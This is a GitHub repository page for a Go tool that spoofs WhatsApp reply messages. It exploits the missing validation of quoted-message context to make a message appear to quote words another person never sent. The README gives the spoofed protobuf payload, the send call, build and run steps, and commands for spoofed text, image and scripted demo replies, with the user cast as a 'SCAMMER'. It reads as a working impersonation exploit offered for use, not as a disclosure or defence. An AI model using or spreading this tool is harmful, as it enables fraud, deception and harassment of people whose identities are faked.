Skip to content

This is a simple script to spoof whats app messages either privately or on groups (:> ) ) owner of this code died so don't ask questions please 👀 cap

Notifications You must be signed in to change notification settings

kevzy/whatsappspoofing

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Whatsapp Spoofing impersonate of reply message

send All official WhatsApp clients, upon receiving a "Message Reply" payload (QuotedMessage), do not validate whether the "ContextInfo" of this "QuotedMessage" is valid/exists ("StanzaId" and "Participant"). This allows a malicious actor to send in private chats or groups a "QuotedMessage" of a message that never existed on behalf of another person. This is highly critical and dangerous.

App Versions

Latest version on all platforms

The problem

Users: UserA, UserB; UserA is not known by UserB

UserA (SCAMMER) sends a spoofed messages to UserB in response to a message that UserB did never send

Spoofed message payload:

msg := &waProto.Message{
    ExtendedTextMessage: &waProto.ExtendedTextMessage{
        Text: proto.String("Some text"),
        ContextInfo: &waProto.ContextInfo{
            StanzaId:     proto.String("Some Random ID"), //Random ID
            Participant: proto.String("[email protected]"), //Spoofed user ID
            QuotedMessage: &waProto.Message{
                Conversation: proto.String("Some Spoofed text"), //QuotedMessage Spoofed text
            },
        },
    },
}

Send the Spoofed Payload:

resp, err := cli.SendMessage(context.Background(), chatID, msg) 
// chatID is the ID of the chat you want to send the message to, can be a group or the same number as the spoofed user ID

Exploit

Clone the repository.

Install dependencies.

go mod download
go get 

Build

go build 

Running

./whats-spoofing

Usage

Retrieve Group Information

getgroup <jid>

List Groups

listgroups

Send Spoofed Reply

send-spoofed-reply <chat_jid> <msgID:!|#ID> <spoofed_jid> <spoofed_text>|<text>

Send Spoofed Image Reply

send-spoofed-img-reply <chat_jid> <msgID:!|#ID> <spoofed_jid> <spoofed_file> <spoofed_text>|<text>

Send Spoofed Demo Message

send-spoofed-demo <toGender:boy|girl> <language:br|en> <chat_jid> <spoofed_jid>

Send Spoofed Demo Message with Image

send-spoofed-demo-img <toGender:boy|girl> <language:br|en> <spoofed_jid> <spoofed_img>

About

This is a simple script to spoof whats app messages either privately or on groups (:> ) ) owner of this code died so don't ask questions please 👀 cap

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Languages